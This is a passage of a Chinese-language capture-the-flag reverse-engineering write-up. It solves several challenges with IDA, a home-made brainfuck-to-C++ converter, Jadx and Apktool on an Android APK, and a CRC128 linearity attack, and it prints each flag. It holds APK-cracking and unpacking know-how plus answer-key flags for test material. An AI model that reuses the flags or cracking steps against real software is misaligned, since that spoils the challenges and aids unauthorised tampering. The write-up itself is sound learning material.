這里可以用IDA動態調試跟下關鍵語句處的寄存器，發現是用之前第一層的密碼來循環異或存儲在dword_6030E0的一段數據，所以寫個腳本解碼就可以獲得Flag了

//cnss{Be_c4refu1_ab0u7_yoUr_ha1r}

 

brainf**ker‘s challenge

沒找到好用的Wheel，於是就自己寫了個bf轉cpp的程序

#include <cstdio> #include <cstring>
char str[100000]; int inc,dec,tab,line; void sl(int cnt){ for (int j=0;j<cnt;j++) printf("    "); } void el(){ printf("\n",line); } int main(){ freopen("code.bf","r",stdin); freopen("code.cpp","w",stdout); inc=0,dec=0,tab=0,line=0; sl(tab);printf("#include <cstdio>\n"); sl(tab);printf("int mem[1000000], pt=0; void out(int a) { printf(\"%%c\", a); }int in() { return getchar(); }return ch; }\n"); sl(tab);printf("int main(){");el(); tab++; while(scanf("%s",str)!=EOF) { int len=strlen(str); for (int i=0;i<len;i++) { //printf("%c\n",str[i]);
            switch(str[i]) { case '>': inc++; if (str[i]!=str[i+1]){sl(tab);printf("pt+=%d;",inc);el();inc=0;} break; case '<': dec++; if (str[i]!=str[i+1]){sl(tab);printf("pt-=%d;",dec);el();dec=0;} break; case '+': inc++; if (str[i]!=str[i+1]){sl(tab);printf("mem[pt]+=%d;",inc);el();inc=0;} break; case '-': dec++; if (str[i]!=str[i+1]){sl(tab);printf("mem[pt]-=%d;",dec);el();dec=0;} break; case '.': sl(tab);printf("out(mem[pt]);");el(); break; case ',': sl(tab);printf("mem[pt]=in();");el(); break; case '[': tab++; sl(tab-1);printf("while(mem[pt]){");el(); break; case ']': tab--; sl(tab);printf("}");el(); break; case '#': sl(tab);printf("return 0;");el(); break; case '\n': break; } } } sl(tab-1);printf("}");//el();
} /*( > 指針加一 < 指針減一 + 指針指向的字節的值加一 - 指針指向的字節的值減一 . 輸出指針指向的單元內容（ASCII碼） , 輸入內容到指針指向的單元（ASCII碼） [ 如果指針指向的單元值為零，向后跳轉到對應的]指令的次一指令處 ] 如果指針指向的單元值不為零，向前跳轉到對應的[指令的次一指令處 # 強制退出程序（ 為了簡化程序而額外增加的一個狀態 ） */

將如下bf程序存儲到code.bf，執行轉換程序

<[<]>[.>] >++++++++++[<++++++++++>-]<+++++++[<->-]<[#]>++++++++++[<++++++++++>-]<-[<->-]<[#]>++++++++++[<++++++++++>-]<++[<->-]<[#]>+++++++++++[<++++++++++>-]<[<->-]<[#] >+++[<++++++++++>-]<+++[<->-]<[#]>++++++++++[<++++++++++>-]<---[<->-]<[#]>+++++++++++[<++++++++++>-]<++++[<->-]<[#]>++++++++++[<++++++++++>-]<--[<->-]<[#] <[>>+<<-]>>[<+<+>>-]>++++++[<++++++++++>-]<---[<->-]<[#] >++++++[<++++++++>-]<[<-<->>-]<<[>++++++++++<-]>>>++++[<++++++++++>-]<-[<->-]<[#]

生成的code.cpp偽代碼如下

#include <cstdio>
int mem[1000000], pt=0; void out(int a) { printf("%c", a); }int in() { return getchar(); }return ch; } int main(){ pt-=1; while(mem[pt]){ pt-=1; } pt+=1; while(mem[pt]){ out(mem[pt]); pt+=1; } pt+=1; mem[pt]+=10; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; mem[pt]+=7; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } pt+=1; mem[pt]+=10; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; mem[pt]-=1; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } pt+=1; mem[pt]+=10; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; mem[pt]+=2; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } pt+=1; mem[pt]+=11; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } pt+=1; mem[pt]+=3; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; mem[pt]+=3; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } pt+=1; mem[pt]+=10; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; mem[pt]-=3; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } pt+=1; mem[pt]+=11; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; mem[pt]+=4; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } pt+=1; mem[pt]+=10; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; mem[pt]-=2; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } pt-=1; while(mem[pt]){ pt+=2; mem[pt]+=1; pt-=2; mem[pt]-=1; } pt+=2; while(mem[pt]){ pt-=1; mem[pt]+=1; pt-=1; mem[pt]+=1; pt+=2; mem[pt]-=1; } pt+=1; mem[pt]+=6; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; mem[pt]-=3; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } pt+=1; mem[pt]+=6; while(mem[pt]){ pt-=1; mem[pt]+=8; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ pt-=1; mem[pt]-=1; pt-=1; mem[pt]-=1; pt+=2; mem[pt]-=1; } pt-=2; while(mem[pt]){ pt+=1; mem[pt]+=10; pt-=1; mem[pt]-=1; } pt+=3; mem[pt]+=4; while(mem[pt]){ pt-=1; mem[pt]+=10; pt+=1; mem[pt]-=1; } pt-=1; mem[pt]-=1; while(mem[pt]){ pt-=1; mem[pt]-=1; pt+=1; mem[pt]-=1; } pt-=1; while(mem[pt]){ return 0; } }

然后代碼邏輯很直觀，手玩就知道Flag了

//cnss{39bra!nfck}

 

Language_Problem

用Jadx查看Java源代碼

this.textView.setText(MyJni.getFlag()); public class MyJni { public static native String getFlag(); static { System.loadLibrary("MyJni"); } }

發現輸出Flag的時候調用了類MyJni中的函數getFlag，而且這個類MyJni是從動態庫libMyJni.so加載的，這里可以用Apktool來解包提取動態庫

apktool.bat xi4sht.apk

把提取出來的動態庫libMyJni.so放到IDA里生成下面的偽代碼，再把偽代碼改一改編譯一下就能跑出Flag了

int Decode_Flag()
{
  char *v0; // edi
  size_t v1; // edx
  _BYTE *v2; // esi
  unsigned int v3; // eax
  signed int v4; // ecx
  char *v5; // edi
  _WORD *v6; // esi
  char *v7; // edi
  int v8; // ecx
  int v9; // ebp
  unsigned __int8 v10; // ST10_1
  int result; // eax
  __int16 v12; // cx
  char v13; // [esp+29h] [ebp-133h]
  char v14; // [esp+2Ah] [ebp-132h]
  int v15; // [esp+2Ch] [ebp-130h]
  int v16; // [esp+13Ch] [ebp-20h]

  v0 = &v14;
  v1 = strlen(flag);
  v2 = &key[1];
  v13 = key[0];
  v3 = 254;
  if ( (unsigned int)&v14 & 2 )
  {
    v12 = *(_WORD *)v2;
    v0 = (char *)&v15;
    v3 = 252;
    v2 = &key[3];
    *(_WORD *)&v14 = v12;
  }
  qmemcpy(v0, v2, 4 * (v3 >> 2));
  v6 = &v2[4 * (v3 >> 2)];
  v5 = &v0[4 * (v3 >> 2)];
  v4 = 0;
  if ( v3 & 2 )
  {
    *(_WORD *)v5 = *v6;
    v4 = 1;
  }
  if ( v3 & 1 )
    v5[v4 * 2] = v6[v4];
  if ( v1 )
  {
    v7 = flag;
    v8 = 0;
    v9 = 0;
    do
    {
      ++v7;
      v9 += -255 * ((v9 + 1) / 255) + 1;
      v10 = *(&v13 + v9);
      v8 = (v10 + v8) % 255;
      *(&v13 + v9) = *(&v13 + v8);
      *(&v13 + v8) = v10;
      *(v7 - 1) ^= *(&v13 + (v10 + (unsigned int)(unsigned __int8)*(&v13 + v9)) % 0xFF);
    }
    while ( v7 != &flag[v1] );
  }
  result = _stack_chk_guard;
  if ( v16 != _stack_chk_guard )
    sub_430();
  return result;
}
int __cdecl Java_com_example_languageproblem_MyJni_getFlag(int a1)
{
  Decode_Flag();
  return (*(int (__cdecl **)(int, char *))(*(_DWORD *)a1 + 668))(a1, flag);
}
//cnss{Y0u_Ar3_an_Apk_cr4ck3r}

 

[Boss] Algebra Game

先脫Upx殼，再F5查看偽代碼

發現有垃圾代碼導致不能生成偽代碼，可以用字節替換過掉，再把花指令修復下就可以看出邏輯了

再次F5查看偽代碼，發現程序的核心是個不認識的多輪加密，詢問yype后得知這是CRC128

這時問題就轉化為了求Content滿足下式

CRC128(cnss{Content})==Content

而CRC128有個特性，就是它的加密是線性的

原文的某一位Flip會影響到最終Hash的特定若干位的Flip

這個影響在原文長度固定的時候是固定的

所以只要統計出每一位Flip對最后結果的影響，再用高斯消元解異或方程組即可解得Flag

unsigned char key[256 * 16] = { 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0 ,0x97,0x1,0x0A1,0x0ED,0x0C6,0x0E6,0x0B2,0x0F,0x86,0x66,0x5B,0x0AC,0x76,0x0A6,0x17,0x0E2 ,0x0DD,0x0AA,0x0B9,0x22,0x13,0x46,0x0CF,0x0D2,0x4E,0x0D1,0x57,0x42,0x0D4,0x0D3,0x4,0x0AF ,0x4A,0x0AB,0x18,0x0CF,0x0D5,0x0A0,0x7D,0x0DD,0x0C8,0x0B7,0x0C,0x0EE,0x0A2,0x75,0x13,0x4D ,0x49,0x0FC,0x88,0x0BC,0x0B8,0x7,0x34,0x68,0x0DF,0x0BE,0x4E,0x9E,0x91,0x38,0x22,0x35 ,0x0DE,0x0FD,0x29,0x51,0x7E,0x0E1,0x86,0x67,0x59,0x0D8,0x15,0x32,0x0E7,0x9E,0x35,0x0D7 ,0x94,0x56,0x31,0x9E,0x0AB,0x41,0x0FB,0x0BA,0x91,0x6F,0x19,0x0DC,0x45,0x0EB,0x26,0x9A ,0x3,0x57,0x90,0x73,0x6D,0x0A7,0x49,0x0B5,0x17,0x9,0x42,0x70,0x33,0x4D,0x31,0x78 ,0x92,0x0F8,0x11,0x79,0x71,0x0F,0x68,0x0D0,0x0BE,0x7D,0x9D,0x3C,0x23,0x71,0x44,0x6A ,0x5,0x0F9,0x0B0,0x94,0x0B7,0x0E9,0x0DA,0x0DF,0x38,0x1B,0x0C6,0x90,0x55,0x0D7,0x53,0x88 ,0x4F,0x52,0x0A8,0x5B,0x62,0x49,0x0A7,0x2,0x0F0,0x0AC,0x0CA,0x7E,0x0F7,0x0A2,0x40,0x0C5 ,0x0D8,0x53,0x9,0x0B6,0x0A4,0x0AF,0x15,0x0D,0x76,0x0CA,0x91,0x0D2,0x81,0x4,0x57,0x27 ,0x0DB,0x4,0x99,0x0C5,0x0C9,0x8,0x5C,0x0B8,0x61,0x0C3,0x0D3,0x0A2,0x0B2,0x49,0x66,0x5F ,0x4C,0x5,0x38,0x28,0x0F,0x0EE,0x0EE,0x0B7,0x0E7,0x0A5,0x88,0x0E,0x0C4,0x0EF,0x71,0x0BD ,0x6,0x0AE,0x20,0x0E7,0x0DA,0x4E,0x93,0x6A,0x2F,0x12,0x84,0x0E0,0x66,0x9A,0x62,0x0F0 ,0x91,0x0AF,0x81,0x0A,0x1C,0x0A8,0x21,0x65,0x0A9,0x74,0x0DF,0x4C,0x10,0x3C,0x75,0x12 ,0x24,0x0F1,0x23,0x0F2,0x0E2,0x1E,0x0D0,0x0A0,0x7D,0x0FB,0x3A,0x79,0x46,0x0E2,0x88,0x0D4 ,0x0B3,0x0F0,0x82,0x1F,0x24,0x0F8,0x62,0x0AF,0x0FB,0x9D,0x61,0x0D5,0x30,0x44,0x9F,0x36 ,0x0F9,0x5B,0x9A,0x0D0,0x0F1,0x58,0x1F,0x72,0x33,0x2A,0x6D,0x3B,0x92,0x31,0x8C,0x7B ,0x6E,0x5A,0x3B,0x3D,0x37,0x0BE,0x0AD,0x7D,0x0B5,0x4C,0x36,0x97,0x0E4,0x97,0x9B,0x99 ,0x6D,0x0D,0x0AB,0x4E,0x5A,0x19,0x0E4,0x0C8,0x0A2,0x45,0x74,0x0E7,0x0D7,0x0DA,0x0AA,0x0E1 ,0x0FA,0x0C,0x0A,0x0A3,0x9C,0x0FF,0x56,0x0C7,0x24,0x23,0x2F,0x4B,0x0A1,0x7C,0x0BD,0x3 ,0x0B0,0x0A7,0x12,0x6C,0x49,0x5F,0x2B,0x1A,0x0EC,0x94,0x23,0x0A5,0x3,0x9,0x0AE,0x4E ,0x27,0x0A6,0x0B3,0x81,0x8F,0x0B9,0x99,0x15,0x6A,0x0F2,0x78,0x9,0x75,0x0AF,0x0B9,0x0AC ,0x0B6,0x9,0x32,0x8B,0x93,0x11,0x0B8,0x70,0x0C3,0x86,0x0A7,0x45,0x65,0x93,0x0CC,0x0BE ,0x21,0x8,0x93,0x66,0x55,0x0F7,0x0A,0x7F,0x45,0x0E0,0x0FC,0x0E9,0x13,0x35,0x0DB,0x5C ,0x6B,0x0A3,0x8B,0x0A9,0x80,0x57,0x77,0x0A2,0x8D,0x57,0x0F0,0x7,0x0B1,0x40,0x0C8,0x11 ,0x0FC,0x0A2,0x2A,0x44,0x46,0x0B1,0x0C5,0x0AD,0x0B,0x31,0x0AB,0x0AB,0x0C7,0x0E6,0x0DF,0x0F3 ,0x0FF,0x0F5,0x0BA,0x37,0x2B,0x16,0x8C,0x18,0x1C,0x38,0x0E9,0x0DB,0x0F4,0x0AB,0x0EE,0x8B ,0x68,0x0F4,0x1B,0x0DA,0x0ED,0x0F0,0x3E,0x17,0x9A,0x5E,0x0B2,0x77,0x82,0x0D,0x0F9,0x69 ,0x22,0x5F,0x3,0x15,0x38,0x50,0x43,0x0CA,0x52,0x0E9,0x0BE,0x99,0x20,0x78,0x0EA,0x24 ,0x0B5,0x5E,0x0A2,0x0F8,0x0FE,0x0B6,0x0F1,0x0C5,0x0D4,0x8F,0x0E5,0x35,0x56,0x0DE,0x0FD,0x0C6 ,0x0BB,0x4B,0x0BC,0x1D,0x5B,0x0B6,0x0A,0x8C,0x0B9,0x0EA,0x94,0x0E8,0x0B5,0x5B,0x3A,0x0C2 ,0x2C,0x4A,0x1D,0x0F0,0x9D,0x50,0x0B8,0x83,0x3F,0x8C,0x0CF,0x44,0x0C3,0x0FD,0x2D,0x20 ,0x66,0x0E1,0x5,0x3F,0x48,0x0F0,0x0C5,0x5E,0x0F7,0x3B,0x0C3,0x0AA,0x61,0x88,0x3E,0x6D ,0x0F1,0x0E0,0x0A4,0x0D2,0x8E,0x16,0x77,0x51,0x71,0x5D,0x98,0x6,0x17,0x2E,0x29,0x8F ,0x0F2,0x0B7,0x34,0x0A1,0x0E3,0x0B1,0x3E,0x0E4,0x66,0x54,0x0DA,0x76,0x24,0x63,0x18,0x0F7 ,0x65,0x0B6,0x95,0x4C,0x25,0x57,0x8C,0x0EB,0x0E0,0x32,0x81,0x0DA,0x52,0x0C5,0x0F,0x15 ,0x2F,0x1D,0x8D,0x83,0x0F0,0x0F7,0x0F1,0x36,0x28,0x85,0x8D,0x34,0x0F0,0x0B0,0x1C,0x58 ,0x0B8,0x1C,0x2C,0x6E,0x36,0x11,0x43,0x39,0x0AE,0x0E3,0x0D6,0x98,0x86,0x16,0x0B,0x0BA ,0x29,0x0B3,0x0AD,0x64,0x2A,0x0B9,0x62,0x5C,0x7,0x97,0x9,0x0D4,0x96,0x2A,0x7E,0x0A8 ,0x0BE,0x0B2,0x0C,0x89,0x0EC,0x5F,0x0D0,0x53,0x81,0x0F1,0x52,0x78,0x0E0,0x8C,0x69,0x4A ,0x0F4,0x19,0x14,0x46,0x39,0x0FF,0x0AD,0x8E,0x49,0x46,0x5E,0x96,0x42,0x0F9,0x7A,0x7 ,0x63,0x18,0x0B5,0x0AB,0x0FF,0x19,0x1F,0x81,0x0CF,0x20,0x5,0x3A,0x34,0x5F,0x6D,0x0E5 ,0x60,0x4F,0x25,0x0D8,0x92,0x0BE,0x56,0x34,0x0D8,0x29,0x47,0x4A,0x7,0x12,0x5C,0x9D ,0x0F7,0x4E,0x84,0x35,0x54,0x58,0x0E4,0x3B,0x5E,0x4F,0x1C,0x0E6,0x71,0x0B4,0x4B,0x7F ,0x0BD,0x0E5,0x9C,0x0FA,0x81,0x0F8,0x99,0x0E6,0x96,0x0F8,0x10,0x8,0x0D3,0x0C1,0x58,0x32 ,0x2A,0x0E4,0x3D,0x17,0x47,0x1E,0x2B,0x0E9,0x10,0x9E,0x4B,0x0A4,0x0A5,0x67,0x4F,0x0D0 ,0x9F,0x0BA,0x9F,0x0EF,0x0B9,0x0A8,0x0DA,0x2C,0x0C4,0x11,0x0AE,0x91,0x0F3,0x0B9,0x0B2,0x16 ,0x8,0x0BB,0x3E,0x2,0x7F,0x4E,0x68,0x23,0x42,0x77,0x0F5,0x3D,0x85,0x1F,0x0A5,0x0F4 ,0x42,0x10,0x26,0x0CD,0x0AA,0x0EE,0x15,0x0FE,0x8A,0x0C0,0x0F9,0x0D3,0x27,0x6A,0x0B6,0x0B9 ,0x0D5,0x11,0x87,0x20,0x6C,0x8,0x0A7,0x0F1,0x0C,0x0A6,0x0A2,0x7F,0x51,0x0CC,0x0A1,0x5B ,0x0D6,0x46,0x17,0x53,0x1,0x0AF,0x0EE,0x44,0x1B,0x0AF,0x0E0,0x0F,0x62,0x81,0x90,0x23 ,0x41,0x47,0x0B6,0x0BE,0x0C7,0x49,0x5C,0x4B,0x9D,0x0C9,0x0BB,0x0A3,0x14,0x27,0x87,0x0C1 ,0x0B,0x0EC,0x0AE,0x71,0x12,0x0E9,0x21,0x96,0x55,0x7E,0x0B7,0x4D,0x0B6,0x52,0x94,0x8C ,0x9C,0x0ED,0x0F,0x9C,0x0D4,0x0F,0x93,0x99,0x0D3,0x18,0x0EC,0x0E1,0x0C0,0x0F4,0x83,0x6E ,0x0D,0x42,0x8E,0x96,0x0C8,0x0A7,0x0B2,0x0FC,0x7A,0x6C,0x33,0x0AD,0x0D0,0x0C8,0x0F6,0x7C ,0x9A,0x43,0x2F,0x7B,0x0E,0x41,0x0,0x0F3,0x0FC,0x0A,0x68,0x1,0x0A6,0x6E,0x0E1,0x9E ,0x0D0,0x0E8,0x37,0x0B4,0x0DB,0x0E1,0x7D,0x2E,0x34,0x0BD,0x64,0x0EF,0x4,0x1B,0x0F2,0x0D3 ,0x47,0x0E9,0x96,0x59,0x1D,0x7,0x0CF,0x21,0x0B2,0x0DB,0x3F,0x43,0x72,0x0BD,0x0E5,0x31 ,0x44,0x0BE,0x6,0x2A,0x70,0x0A0,0x86,0x94,0x0A5,0x0D2,0x7D,0x33,0x41,0x0F0,0x0D4,0x49 ,0x0D3,0x0BF,0x0A7,0x0C7,0x0B6,0x46,0x34,0x9B,0x23,0x0B4,0x26,0x9F,0x37,0x56,0x0C3,0x0AB ,0x99,0x14,0x0BF,0x8,0x63,0x0E6,0x49,0x46,0x0EB,0x3,0x2A,0x71,0x95,0x23,0x0D0,0x0E6 ,0x0E,0x15,0x1E,0x0E5,0x0A5,0x0,0x0FB,0x49,0x6D,0x65,0x71,0x0DD,0x0E3,0x85,0x0C7,0x4 ,0x85,0x3E,0x83,0x0C2,0x28,0x0E7,0x0BF,0x0D5,0x31,0x0C9,0x0C8,0x0CB,0x52,0x28,0x5F,0x0EF ,0x12,0x3F,0x22,0x2F,0x0EE,0x1,0x0D,0x0DA,0x0B7,0x0AF,0x93,0x67,0x24,0x8E,0x48,0x0D ,0x58,0x94,0x3A,0x0E0,0x3B,0x0A1,0x70,0x7,0x7F,0x18,0x9F,0x89,0x86,0x0FB,0x5B,0x40 ,0x0CF,0x95,0x9B,0x0D,0x0FD,0x47,0x0C2,0x8,0x0F9,0x7E,0x0C4,0x25,0x0F0,0x5D,0x4C,0x0A2 ,0x0CC,0x0C2,0x0B,0x7E,0x90,0x0E0,0x8B,0x0BD,0x0EE,0x77,0x86,0x55,0x0C3,0x10,0x7D,0x0DA ,0x5B,0x0C3,0x0AA,0x93,0x56,0x6,0x39,0x0B2,0x68,0x11,0x0DD,0x0F9,0x0B5,0x0B6,0x6A,0x38 ,0x11,0x68,0x0B2,0x5C,0x83,0x0A6,0x44,0x6F,0x0A0,0x0A6,0x0D1,0x17,0x17,0x0C3,0x79,0x75 ,0x86,0x69,0x13,0x0B1,0x45,0x40,0x0F6,0x60,0x26,0x0C0,0x8A,0x0BB,0x61,0x65,0x6E,0x97 ,0x17,0x0C6,0x92,0x0BB,0x59,0x0E8,0x0D7,0x5,0x8F,0x0B4,0x55,0x0F7,0x71,0x59,0x1B,0x85 ,0x80,0x0C7,0x33,0x56,0x9F,0x0E,0x65,0x0A,0x9,0x0D2,0x0E,0x5B,0x7,0x0FF,0x0C,0x67 ,0x0CA,0x6C,0x2B,0x99,0x4A,0x0AE,0x18,0x0D7,0x0C1,0x65,0x2,0x0B5,0x0A5,0x8A,0x1F,0x2A ,0x5D,0x6D,0x8A,0x74,0x8C,0x48,0x0AA,0x0D8,0x47,0x3,0x59,0x19,0x0D3,0x2C,0x8,0x0C8 ,0x5E,0x3A,0x1A,0x7,0x0E1,0x0EF,0x0E3,0x6D,0x50,0x0A,0x1B,0x69,0x0E0,0x61,0x39,0x0B0 ,0x0C9,0x3B,0x0BB,0x0EA,0x27,0x9,0x51,0x62,0x0D6,0x6C,0x40,0x0C5,0x96,0x0C7,0x2E,0x52 ,0x83,0x90,0x0A3,0x25,0x0F2,0x0A9,0x2C,0x0BF,0x1E,0x0DB,0x4C,0x2B,0x34,0x0B2,0x3D,0x1F ,0x14,0x91,0x2,0x0C8,0x34,0x4F,0x9E,0x0B0,0x98,0x0BD,0x17,0x87,0x42,0x14,0x2A,0x0FD ,0x0A1,0x0CF,0x0A0,0x30,0x0CA,0x0F9,0x6F,0x75,0x4C,0x32,0x0F2,0x0B2,0x14,0x0CA,0x0D7,0x3B ,0x36,0x0CE,0x1,0x0DD,0x0C,0x1F,0x0DD,0x7A,0x0CA,0x54,0x0A9,0x1E,0x62,0x6C,0x0C0,0x0D9 ,0x7C,0x65,0x19,0x12,0x0D9,0x0BF,0x0A0,0x0A7,0x2,0x0E3,0x0A5,0x0F0,0x0C0,0x19,0x0D3,0x94 ,0x0EB,0x64,0x0B8,0x0FF,0x1F,0x59,0x12,0x0A8,0x84,0x85,0x0FE,0x5C,0x0B6,0x0BF,0x0C4,0x76 ,0x0E8,0x33,0x28,0x8C,0x72,0x0FE,0x5B,0x1D,0x93,0x8C,0x0BC,0x2C,0x85,0x0F2,0x0F5,0x0E ,0x7F,0x32,0x89,0x61,0x0B4,0x18,0x0E9,0x12,0x15,0x0EA,0x0E7,0x80,0x0F3,0x54,0x0E2,0x0EC ,0x35,0x99,0x91,0x0AE,0x61,0x0B8,0x94,0x0CF,0x0DD,0x5D,0x0EB,0x6E,0x51,0x21,0x0F1,0x0A1 ,0x0A2,0x98,0x30,0x43,0x0A7,0x5E,0x26,0x0C0,0x5B,0x3B,0x0B0,0x0C2,0x27,0x87,0x0E6,0x43 ,0x33,0x37,0x0B1,0x49,0x0BB,0x0F6,0x7,0x0A5,0x0F2,0x4F,0x6F,0x8E,0x37,0x0BB,0x93,0x51 ,0x0A4,0x36,0x10,0x0A4,0x7D,0x10,0x0B5,0x0AA,0x74,0x29,0x34,0x22,0x41,0x1D,0x84,0x0B3 ,0x0EE,0x9D,0x8,0x6B,0x0A8,0x0B0,0x0C8,0x77,0x0BC,0x9E,0x38,0x0CC,0x0E3,0x68,0x97,0x0FE ,0x79,0x9C,0x0A9,0x86,0x6E,0x56,0x7A,0x78,0x3A,0x0F8,0x63,0x60,0x95,0x0CE,0x80,0x1C ,0x7A,0x0CB,0x39,0x0F5,0x3,0x0F1,0x33,0x0CD,0x2D,0x0F1,0x21,0x10,0x0A6,0x83,0x0B1,0x64 ,0x0ED,0x0CA,0x98,0x18,0x0C5,0x17,0x81,0x0C2,0x0AB,0x97,0x7A,0x0BC,0x0D0,0x25,0x0A6,0x86 ,0x0A7,0x61,0x80,0x0D7,0x10,0x0B7,0x0FC,0x1F,0x63,0x20,0x76,0x52,0x72,0x50,0x0B5,0x0CB ,0x30,0x60,0x21,0x3A,0x0D6,0x51,0x4E,0x10,0x0E5,0x46,0x2D,0x0FE,0x4,0x0F6,0x0A2,0x29 ,0x3E,0x75,0x3F,0x0DF,0x73,0x51,0x0B5,0x59,0x88,0x23,0x5C,0x23,0x0E7,0x73,0x65,0x2D ,0x0A9,0x74,0x9E,0x32,0x0B5,0x0B7,0x7,0x56,0x0E,0x45,0x7,0x8F,0x91,0x0D5,0x72,0x0CF ,0x0E3,0x0DF,0x86,0x0FD,0x60,0x17,0x7A,0x8B,0x0C6,0x0F2,0x0B,0x61,0x33,0x0A0,0x61,0x82 ,0x74,0x0DE,0x27,0x10,0x0A6,0x0F1,0x0C8,0x84,0x40,0x94,0x50,0x0CD,0x45,0x6,0x76,0x60 ,0x77,0x89,0x0B7,0x63,0x0CB,0x56,0x81,0x31,0x57,0x9D,0x12,0x0BD,0x76,0x4B,0x47,0x18 ,0x0E0,0x88,0x16,0x8E,0x0D,0x0B0,0x33,0x3E,0x0D1,0x0FB,0x49,0x11,0x0,0x0ED,0x50,0x0FA ,0x0AA,0x23,0x0E,0x41,0x0D8,0x10,0x4E,0x0E3,0x19,0x4C,0x45,0x0FF,0x0A2,0x98,0x43,0x0B7 ,0x3D,0x22,0x0AF,0x0AC,0x1E,0x0F6,0x0FC,0x0EC,0x9F,0x2A,0x1E,0x53,0x0D4,0x3E,0x54,0x55 ,0x0AC,0x8D,0x2E,0x0A6,0x2,0x5E,0x0DD,0x89,0x36,0x5E,0x0C1,0x1F,0x0C4,0x2,0x21,0x47 ,0x3B,0x8C,0x8F,0x4B,0x0C4,0x0B8,0x6F,0x86,0x0B0,0x38,0x9A,0x0B3,0x0B2,0x0A4,0x36,0x0A5 ,0x71,0x27,0x97,0x84,0x11,0x18,0x12,0x5B,0x78,0x8F,0x96,0x5D,0x10,0x0D1,0x25,0x0E8 ,0x0E6,0x26,0x36,0x69,0x0D7,0x0FE,0x0A0,0x54,0x0FE,0x0E9,0x0CD,0x0F1,0x66,0x77,0x32,0x0A ,0x0E5,0x71,0x0A6,0x1A,0x0BA,0x59,0x0E9,0x0E1,0x0E9,0x0E0,0x8F,0x81,0x55,0x3A,0x3,0x72 ,0x72,0x70,0x7,0x0F7,0x7C,0x0BF,0x5B,0x0EE,0x6F,0x86,0x0D4,0x2D,0x23,0x9C,0x14,0x90 ,0x38,0x0DB,0x1F,0x38,0x0A9,0x1F,0x26,0x33,0x0A7,0x31,0x0D8,0x0C3,0x81,0x0E9,0x7,0x0DD ,0x0AF,0x0DA,0x0BE,0x0D5,0x6F,0x0F9,0x94,0x3C,0x21,0x57,0x83,0x6F,0x0F7,0x4F,0x10,0x3F ,0x1A,0x84,0x1C,0x2D,0x91,0x4F,0x65,0x0F9,0x0F5,0x0D8,0x66,0x5A,0x0A1,0x91,0x0ED,0x0F9 ,0x8D,0x85,0x0BD,0x0C0,0x57,0x0A9,0x0D7,0x0F6,0x73,0x0BE,0x3D,0x0F6,0x0D7,0x37,0x0FA,0x1B ,0x0C7,0x2E,0x0A5,0x0F,0x82,0x9,0x0AA,0x2B,0x0BB,0x9,0x31,0x18,0x75,0x42,0x0E9,0x56 ,0x50,0x2F,0x4,0x0E2,0x44,0x0EF,0x18,0x24,0x3D,0x6F,0x6A,0x0B4,0x3,0x0E4,0x0FE,0x0B4 ,0x53,0x78,0x94,0x91,0x29,0x48,0x51,0x91,0x2A,0x66,0x28,0x0C4,0x30,0x0A9,0x0CF,0x0CC ,0x0C4,0x79,0x35,0x7C,0x0EF,0x0AE,0x0E3,0x9E,0x0AC,0x0,0x73,0x68,0x46,0x0F,0x0D8,0x2E ,0x8E,0x0D2,0x2D,0x0B3,0x3A,0x0E,0x9E,0x43,0x64,0x0B7,0x7F,0x86,0x0E4,0x7A,0x0CB,0x63 ,0x19,0x0D3,0x8C,0x5E,0x0FC,0x0E8,0x2C,0x4C,0x0E2,0x0D1,0x24,0x2A,0x92,0x0DC,0x0DC,0x81 ,0x88,0x7C,0x0D,0x54,0x0E0,0x40,0x0D,0x29,0x4B,0x0A5,0x0FB,0x66,0x82,0x0E0,0x0A9,0x93 ,0x1F,0x7D,0x0AC,0x0B9,0x26,0x0A6,0x0BF,0x26,0x0CD,0x0C3,0x0A0,0x0CA,0x0F4,0x46,0x0BE,0x71 ,0x55,0x0D6,0x0B4,0x76,0x0F3,0x6,0x0C2,0x0FB,0x5,0x74,0x0AC,0x24,0x56,0x33,0x0AD,0x3C ,0x0C2,0x0D7,0x15,0x9B,0x35,0x0E0,0x70,0x0F4,0x83,0x12,0x0F7,0x88,0x20,0x95,0x0BA,0x0DE ,0x0C1,0x80,0x85,0x0E8,0x58,0x47,0x39,0x41,0x94,0x1B,0x0B5,0x0F8,0x13,0x0D8,0x8B,0x0A6 ,0x56,0x81,0x24,0x5,0x9E,0x0A1,0x8B,0x4E,0x12,0x7D,0x0EE,0x54,0x65,0x7E,0x9C,0x44 